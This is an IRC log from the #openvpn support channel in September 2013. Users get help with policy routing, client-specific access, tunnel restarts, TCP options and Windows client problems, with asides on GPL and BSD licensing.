17:19 <+pekster> The issue isn't really related to openvpn; you'll get better support for netfilter and iproute2 (routing, and QoS) in #netfilter, and more general networking questions in ##networking
17:19 <+pekster> Right, naturally. Providers tend to be crap and have barely functioning, stupid, and/or garbage security: usually 2 or 3 of those
17:19 <+pekster> It's a race to the bottom to provide the cheapest service, but apparently it's wildly popular
17:20 <+pekster> Anyway, yea, LARTC has the info you want on being multi-homed, and the aforementioned channels are more on-topic to discuss such a setup. OpenVPN is merely "the 2nd NIC" in this case
17:21 < soehest> hehe i did manage to get it to work with policy based routing running the client directly on my router, but have more trouble getting it to work when running the client on a local machine instead.
17:21 < soehest> Nice, thanks again for all that info i will go looking :-)
17:22 < soehest> oddly enough i seem to have some success using http://kindlund.wordpress.com/2007/11/19/configuring-multiple-default-routes-in-linux/ but will need to recheck that
17:23 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
17:27 <+pekster> Same idea as what LARTC teaches you, yea
17:31 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Quit: Leaving]
17:32 <@krzee> !route_override
17:32 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
17:32 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
17:32 -!- FatDarrel [~anandab@c-67-188-0-203.hsd1.ca.comcast.net] has joined #openvpn
17:32 < FatDarrel> hello
17:34 < soehest> !splitroute
17:34 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
17:35 < soehest> Hello FatDarrel
17:35 < FatDarrel> soehest: well i created a another subnet and we are routing it through another linux box
17:35 < FatDarrel> and i want a customer to come in over the vpn and only have access to that network.
17:36 < FatDarrel> I am getting this error
17:36 < FatDarrel> openvpn_iptables_configure: client-side subnet collision between 10.1.2.0/255.255.255.0 'Group-owned subnets for alpha-1' and [10.1.2.0/255.255.255.128 VALUE='Global Dynamic Subnets', 10.1.2.128/255.255.255.192 VALUE='Global Dynamic Subnets'] (GREATER_THAN)
17:36 < FatDarrel> service failed to validate
17:37 <+pekster> what on earth is openvpn_iptables_configure?
17:37 <+pekster> It appears you have overlapping networks, but this isn't a message from openvpn
17:38 < FatDarrel> eah
17:38 < FatDarrel> anyone working on as
17:38 <+pekster> !as
17:38 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:38 <+pekster> We deal with the open-source, GPL stuff here
17:39 < FatDarrel> no one is there
17:40 <@ecrist> yeah, that's kinda too bad
17:40 <@ecrist> we don't support AS in this channel
17:42 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
17:44 < FatDarrel> ok so here is the deal can open vpn give me the ability to allow someone to access a subnet and only that subnet
17:44 <@ecrist> not by itself
17:45 <@ecrist> really, that's the function of a firewall
17:45 <+pekster> It is able to call hooks that take action when a client connects; I actually have some scripts licensed under GPLv3 to do that from OpenVPN, though they're targeted to admins familiar with netfilter already
17:45 < FatDarrel> i want them to login and get an ip address on that subnet and we have the rules set up so they cannot get out of that network
17:46 < FatDarrel> pekster: I am an iptables kind of guy
17:46 <@ecrist> FatDarrel: if you have a firewall doing that, you'll be fine
17:46 <+pekster> If you can add static firewall rules, that's fine and requires no script magic
17:46 <+pekster> If it's dynamic, you need something like this:
17:46 <+pekster> !policy
17:46 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario or (#3) dynamic OpenVPN policy github project: https://github.com/QueuingKoala/openvpn-dynamic
17:47 <+pekster> #3 is my github project. Mind the license if you use it
17:48 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:48 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
17:49 < julius_> defswork, still having problems with my vpn chain....do you have some minutes?
17:50 <+EugeneKay> WTFPL is best PL
17:50 <+pekster> BSD 3-clause is fairly permissive, and that project is one of my exceptions to my usual GPL-licensing. The accounting code is now POSIX and BSD-friendly, so around that time I dual-licensed that one
17:52 <+pekster> Not that there's anything wrong with using GPL code on a BSD system, though it won't likely be "officially" packaged as such
17:53 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
17:53 <@ecrist> almost all GPL code has been pulled from BSD 'base' system installs
17:54 <+pekster> Sure, but nothing stops end-users from building/using/distributing GPL code. If a BSD user wants `screen`, that's supported just fine. Merely not part of the base
17:54 <@ecrist> correct
17:54 <@ecrist> I didn't imply otherwise
17:54 <+pekster> Folks like to get so worked up over that point, but unless there's an integration issue, it's really not that big of a deal to me
17:55 <+pekster> (Folks excluding savvy License folk like you ;)
17:55 <+pekster> Different train of thought. It's actually a similar argument to GPL v LGPL
17:55 <@ecrist> there's a commercial reason for GPL being out of base BSD
17:55 <+pekster> Right; not everyone can play the "Google model" and take advantage of their position selling software-as-a-service
17:56 <@ecrist> many many things are based on FreeBSD, specifically.  Darwin's userland, Juniper, Cisco, NetApp, Compellent/Dell, Isilon, etc
17:56 <@ecrist> they put a ton of money into the project so they can use it for their purposes.
17:57 <@ecrist> as it's all BSD licensed, they don't have to provide source or anything goofy
17:57 <@ecrist> they all keep a lot of their own special sauce, but they all employ developers that push significant code changes into the tree
17:58 -!- soehest [~soehest@x1-6-08-60-6e-21-b6-f0.k608.webspeed.dk] has quit [Ping timeout: 256 seconds]
17:58 <@ecrist> generally for two reasons.  First, it's mature code that isn't really that "special" any more.  Second, usually following the first, but not always, they don't want to maintain that code themselves anymore, and it's easier to push it into base where others will maintain/enhance it
18:01 -!- soehest [~soehest@x1-6-08-60-6e-21-b6-f0.k608.webspeed.dk] has joined #openvpn
18:03 -!- FatDarrel [~anandab@c-67-188-0-203.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
18:05 < soehest> pekster and krzee. I managed to get my issue solved using these commands: http://pastebin.com/FbidAcVk. Can't help thinking there must be an easier solution but it seems to work nicely thanks :-)
18:08 <+pekster> The 'to' line isn't needed (if you're sending packets to your own IP it gets looked up on the 'local' table, which is special)
18:08 <+pekster> Though it won't hurt
18:11 < soehest> i see i will remove that :-)
18:12 < soehest> now on to upgrading router firmware, have a nice evening all
18:29 -!- dupondje [~dupondje@artemis.dupie.be] has quit [Ping timeout: 260 seconds]
18:29 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
18:30 -!- soehest [~soehest@x1-6-08-60-6e-21-b6-f0.k608.webspeed.dk] has quit [Ping timeout: 264 seconds]
18:37 -!- p3rror [~mezgani@41.140.218.221] has joined #openvpn
18:37 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
18:43 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
18:43 -!- FatDarrel [~anandab@c-67-188-0-203.hsd1.ca.comcast.net] has joined #openvpn
18:49 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
18:49 -!- FatDarrel [~anandab@c-67-188-0-203.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
18:51 -!- justanotheruser [~andrew@63.142.161.8] has quit [Ping timeout: 256 seconds]
18:55 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
18:57 -!- justanotheruser [~andrew@50.121.120.43] has joined #openvpn
19:00 -!- crus [~crusader@2001:44b8:319e:2900:8176:98e4:db2c:1749] has joined #openvpn
19:02 -!- justanotheruser [~andrew@50.121.120.43] has quit [Ping timeout: 260 seconds]
19:03 -!- justanotheruser [~andrew@63.142.161.17] has joined #openvpn
19:12 -!- klong- [~klong@pia139-130.pioneernet.net] has joined #openvpn
19:14 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
19:15 -!- justanotheruser [~andrew@63.142.161.17] has quit [Ping timeout: 264 seconds]
19:20 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
19:33 -!- bitg [bitg@gateway/shell/xzibition.com/x-llhtwprxgckihzze] has quit [Remote host closed the connection]
19:39 -!- _bt [foobar@unaffiliated/bt/x-192343] has quit [Ping timeout: 240 seconds]
19:41 -!- _bt [foobar@77.240.12.157] has joined #openvpn
19:46 -!- raidz is now known as raidz_away
19:48 -!- klong- [~klong@pia139-130.pioneernet.net] has quit [Ping timeout: 264 seconds]
19:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:00 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 248 seconds]
20:01 -!- emid [~emid@192.241.162.156] has joined #openvpn
20:07 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has quit [Quit: leaving]
20:13 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:22 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit []
20:37 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 245 seconds]
20:49 -!- dimitry7 [~antonello@customer-189-216-253-213.cablevision.net.mx] has joined #openvpn
21:00 < Skapare> it looks like almost every time I restart one end of the tunnel, I have to restart the other end to get it going again
21:00 < Skapare> using static keys
21:01 -!- dimitry7 [~antonello@customer-189-216-253-213.cablevision.net.mx] has quit [Quit: Leaving]
21:02 < rob0> depends how they're configured.
21:03 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
21:04 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:08 -!- EmLeX_ [~emx@37.46.193.18] has quit [Quit: Bye.]
21:08 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
21:27 < Skapare> rob0: http://bpaste.net/show/c7nabaUd3GUuPlqO0AUu/
21:36 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
21:51 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
21:59 < Skapare> I restart the client and it only loses 2 packets in a ping that was running
22:00 < Skapare> I restart the server and there is a new process but the tunnel goes down
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 < Skapare> this appears to be the problem ... Sep 12 23:01:53 gateway-17c openvpn[4104]: Authenticate/Decrypt packet error: packet HMAC authentication failed
22:03 < Skapare> client side logs don't show any errors
22:05 < Skapare> Sep 12 23:04:59 gateway-17c openvpn[4104]: Inactivity timeout (--ping-restart), restarting
22:06 < Skapare> plus 2 more restart messages ... but traffic is still not going through
22:10 < Skapare> Sep 12 23:08:54 gateway-17c openvpn[4332]: TCP/UDP: Socket bind failed on local address [undef]: Address already in use
22:11 < Skapare> yet it has port 938 bound on a socket OK ... maybe it's trying to do TWO of them?
22:11 <+pekster> A little bit of standard troubleshooting will go a lot further for you
22:12 <+pekster> The PIDs are different; top or `pidof` would be tools to help you figure some of this out
22:14 < Skapare> I've been restarting it
22:15 < Skapare> even by taking both client and server down at the same time, leaving them down for a minute, starting server, then start client ... now it won't work at all
22:15 < Skapare> config has not been changed since it was working ... so something must be linger in the network state
22:16 < Skapare> I'm going to reboot the server ... I do not have an option to reboot the client since it is running a database people are using
22:18 < Skapare> FYI I have 2 tunnels set up ... same machine is client for both ... separate servers which are instances in AWS ... one works OK ... other is failing ... configs are alike except for ports and addresses
22:22 < Skapare> it works if I do a reboot of the server instance
22:22 < Skapare> but if I restart openvpn w/o a reboot, it won't work anymore until I reboot
22:23 < Skapare> just did it with the client DOWN during reboot ... gonna try the reboot with the client UP and see what happens
22:24 -!- michaelhart_ [~michaelha@192.0.240.94] has joined #openvpn
22:26 < Skapare> if I reboot the server it while the client is up, it is not working ... what is strange is that I see traffic on the tunnel that is the client side doing ping ... but the server side is not sending it out the tun interface
22:26 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 264 seconds]
22:26 -!- michaelhart_ is now known as michaelhart
22:27 < Skapare> it seems like generated/negotiated keys are not in sync for this problem
22:27 < Skapare> like the client doesn't know the server restarted
22:29 < Skapare> maybe I should switch to TCP
22:32 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
22:40 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
22:44 -!- michaelhart [~michaelha@192.0.240.94] has quit [Quit: michaelhart]
22:44 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
22:48 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
22:55 < Skapare> Options error: --proto tcp is ambiguous in this context.  Please specify --proto tcp-server or --proto tcp-client
22:55 < Skapare> but I'm not using --proto tcp
22:56 < Skapare> I did put "tcp" at the end of the remote command ... is that a same error?
22:56 < Skapare> it's actually working despite this error message
23:01 -!- Probeus [probeus@probeus.no] has quit [Remote host closed the connection]
23:06 -!- Probeus [probeus@probeus.no] has joined #openvpn
23:10 -!- Probeus [probeus@probeus.no] has quit [Client Quit]
23:11 < Skapare> found an error in the man page
23:12 < Skapare> it says to use "tcp" on the "remote" command ... must use "tcp-client" (this worked for me since this is the client) or "tcp-server"
23:14 < Skapare> things are working better now that I am using TCP instead of UDP ... still need to try all tests again
23:14 < Skapare> I think this is because UDP doesn't make it clear when network errors exist
23:18 -!- Tera [~tera@unaffiliated/tera] has quit [Read error: Connection reset by peer]
23:18 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
23:19 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 260 seconds]
23:19 -!- verdoc_ [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
23:19 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Remote host closed the connection]
23:20 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 261 seconds]
23:20 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-ycaaawtcmbciepyl] has quit [Quit: Bye]
23:20 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 261 seconds]
23:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 261 seconds]
23:21 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Remote host closed the connection]
23:21 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
23:22 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
23:22 -!- Martin`_ is now known as Martin`
23:22 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-hbbiuvizgwyinanq] has joined #openvpn
23:23 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
23:23 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
23:24 < Skapare> TCP seems to be working better overall in terms of recovering from various errors
23:24 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
23:25 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
23:29 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
23:29 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
23:36 -!- Probeus [probeus@probeus.no] has joined #openvpn
23:52 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
23:52 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
23:53 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
--- Day changed Fri Sep 13 2013
00:00 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds]
00:02 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
00:14 -!- mattock_afk is now known as mattock
00:15 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:18 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Ping timeout: 245 seconds]
00:24 < Skapare> looks like openvpn tries to keep the tunX interfaces in an UP state even when the actual tunnels are down
00:25 < Skapare> so routing fail over to alternate tunnels is not working because it doesn't know when the tunnel is down
00:26 < Skapare> looks like some more configuring to do
00:31 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
00:31 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has joined #openvpn
00:32 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
00:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:37 < kisom> Skapare: Yes, if you use persist-tun, it does that.
00:37 < kisom> Btw, your name is referring to God in Swedish.
00:42 -!- p3rror [~mezgani@41.140.218.221] has quit [Ping timeout: 260 seconds]
00:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit []
00:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:51 -!- crumb [~crumb@znc8.d-shell.org] has joined #openvpn
00:51 < crumb> hello??
00:51 < crumb> how do you stop an openvpn client in windows!?
00:51 < crumb> i did ctrl-c, ctrl-z, ctrl-x
00:51 < crumb> it won't stop
00:52 <+pekster> In the console window? F4 (refer to the title bar)
00:52 <+pekster> Windows has no POSIX signalling method, so key bindings are used to fake it
00:52 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
00:53 < crumb> thank goodness!
00:54 < crumb> thank you :)
00:54 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
00:54 < crumb> i hate being trapped on windows :/
00:54 <+pekster> No need to feel trapped; you even have VMs as an option if you "must" use it on the physical host
01:01 < crumb> the version packaged by openvpn.se isn't official right?
01:02 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
01:02 <+pekster> No, and it's exceedingly outdated; don't use it. The GUI has been included in the official releases for some time now
01:03 <+pekster> Official downloads in !download, and GUI info at !gui
01:04 < crumb> thanks
01:06 < crumb> so you guys have any tips for using an alternate random number generator for key generation?
01:07 < crumb> bruce schneier said he doesn't trust the constants
01:09 <+pekster> That's not really openvpn-specific. If you don't trust the RNG, you probably shouldn't be using an OS like Windows that's completely opaque about how it works in the first place; at least the RNG in the Unix/Linux world is understood. Add in a hardware RNG if you want to mix in another source of entropy
01:18 < crumb> well it wasn't my choice to use windoze, a client just asked me to ensure that configurations worked on all os'es :/
01:21 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection timed out]
01:22 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
01:24 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:24 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:24 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:26 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
01:26 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:28 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
01:42 < Skapare> kisom: my IRC nickname is the same as a character I played in a couple MUD games many years ago ... one of which was in Sweden
01:42 -!- master_o1_master [~master_of@p4FF24C39.dip0.t-ipconnect.de] has joined #openvpn
01:45 -!- master_of_master [~master_of@p4FF244C8.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
01:47 < Skapare> the --up cmd does it's think when the tun/tap device is opened ... how can I make a command run when the tunnel is successfully established ?
01:48 < Skapare> think=thing
01:48 < Skapare> and also when the tunnel is de-established
01:52 < Aketzu> --client-connect and --client-disconnect
01:52 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
01:55 -!- crumb [~crumb@znc8.d-shell.org] has left #openvpn []
01:56 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
01:58 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
01:58 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
02:07 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
02:07 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
02:08 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:15 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Remote host closed the connection]
02:16 < Skapare> Aketzu: does that work *in* the client?
02:25 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
02:47 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
02:52 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
02:52 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
02:54 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
03:03 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:03 -!- _bt [foobar@77.240.12.157] has quit [Changing host]
03:03 -!- _bt [foobar@unaffiliated/bt/x-192343] has joined #openvpn
03:16 -!- xrosnight [~quassel@116.76.166.121] has quit [Ping timeout: 246 seconds]
03:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
03:28 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
03:47 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
03:55 -!- Diffen [~diffen@80.252.167.14] has joined #openvpn
04:00 -!- Diffen [~diffen@80.252.167.14] has quit [Client Quit]
04:03 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
04:27 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
04:31 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
06:39 < xTz> !iroute
06:39 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
06:40 < xTz> !route
06:40 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
06:40 <@vpnHelper> the server or client
06:40 < xTz> !ccd
06:40 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
06:47 < xTz> is there a way to make openvpn remove routes on sigkill?
06:48 < xTz> assuming it has added them before, of course
06:52 <@plaisthos> xTz: sigkill does not allow openvpn to do anything before it is killed
06:53 <@plaisthos> and their no such things like open files or sockets for routes
06:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
06:57 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
07:06 -!- julius_ [~14354s@141.41.92.122] has quit [Quit: Verlassend]
07:19 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
07:19 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
07:24 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 256 seconds]
07:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
07:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:37 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:49 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:21 -!- Phog [~Phog@vps.17psi.com] has joined #openvpn
08:21 -!- Phog [~Phog@vps.17psi.com] has left #openvpn []
08:22 -!- onyx2000 [~sh@178.90.11.225] has joined #openvpn
08:24 < onyx2000> hello everybody
08:24 < onyx2000> anyone russian-speaking ?
08:44 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
08:53 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: This computer has gone to sleep]
08:58 -!- onyx2000 [~sh@178.90.11.225] has quit [Ping timeout: 256 seconds]
08:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
09:00 -!- sherefe [~sh@178.90.11.225] has joined #openvpn
09:07 -!- sherefe [~sh@178.90.11.225] has quit [Ping timeout: 264 seconds]
09:11 -!- sherefe [~sh@178.90.11.225] has joined #openvpn
09:15 -!- onyx2000 [~sh@178.90.11.225] has joined #openvpn
09:15 -!- sherefe [~sh@178.90.11.225] has quit [Ping timeout: 260 seconds]
09:16 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:17 -!- sherefe [~sh@178.90.11.225] has joined #openvpn
09:19 -!- onyx2000 [~sh@178.90.11.225] has quit [Ping timeout: 264 seconds]
09:23 -!- crumb [~crumb@znc8.d-shell.org] has joined #openvpn
09:24 < crumb> hi
09:24 < crumb> Options error: Unrecognized option or missing parameter(s) in client.conf:22: register-dns (2.1.4)
09:24 < crumb> isn't register-dns an option
09:25 < rob0> Note that it is in the section entitled "Windows-Specific Options:"
09:26 < crumb> oh ok
09:26 < crumb> rob0: so it's only useful if server pushes dns settings?
09:27 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
09:28 < rob0> Did you look it up in the man page?
09:28 < crumb> oops sorry
09:28 < crumb> ERROR: Windows ipconfig command failed: returned error
09:30 < crumb> for somer eason it's actually stopped working for me after i added the dhcp-options for dns
09:31 < crumb> makes no sense
09:31 < crumb> on the server side
09:33 < crumb> now it's not working at all
09:35 <@ecrist> also, you're using 2.1.4, which is really old
09:37 -!- wood_quinn__ [~quinn@71-32-161-55.desm.qwest.net] has joined #openvpn
09:37 < crumb> what, i have openvpn 2.3.2-I003 installed
09:37 < crumb> argh!
09:37 < crumb> no wonder
09:37 < wood_quinn__> !welcome
09:37 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
09:37 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:37 < crumb> this guy had two installations on the system
09:38 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:38 < wood_quinn__> !goal
09:38 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:48 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
09:48 -!- tharkun [~0@187.188.94.182] has joined #openvpn
09:50 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:51 < crumb> Warning: route gateway is not reachable on any active network adapters: 192.168.0.2
09:52 < crumb> i don't understand where it even gets 192.168.0.2, the tap interface has a static ip set to 192.168.0.1
09:53 < crumb> server.ovpn: server 192.168.0.0 255.255.255.0
09:55 < crumb> and on the client side, openvpn runs
09:55 < crumb> ip route add 192.168.0.1/32 via 192.168.0.5
09:55 < crumb> 192.168.0.5 doesn't even exist on the network
09:57 < crumb> is anyone familiar with using openvpn on windows with internet connection sharing?
09:58 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
09:59 < xTz> dude, read the docs
09:59 < xTz> its a virtual address
09:59 < xTz> my tun interface is also set to 10.0.0.1 and thats from my routing table
09:59 < xTz> 10.0.1/24          10.0.1.2           UGS        0   209413     -     8 tun0
09:59 < xTz> 10.0.1.2           10.0.1.1           UH         1        0     -     4 tun0
10:00 < xTz> well, 'virtual' was not the correct word to use, but u should get my point anyway
10:00 < crumb> i know, but ICS doesn't work unless i set the tunnel's ip to 192.168.0.1
10:00 < crumb> it's windows server 2003
10:01 < xTz> sorry, I don't know how to use this :\
10:02 -!- krapper [~krapper@territory.krapper.net] has joined #openvpn
10:02 < crumb> but the main issue is that it worked earlier using the same exact configuration
10:02 < crumb> and it's not working now
10:03 < xTz> and u r actually surprised? remember u r running windows
10:13 <@krzee> !/30
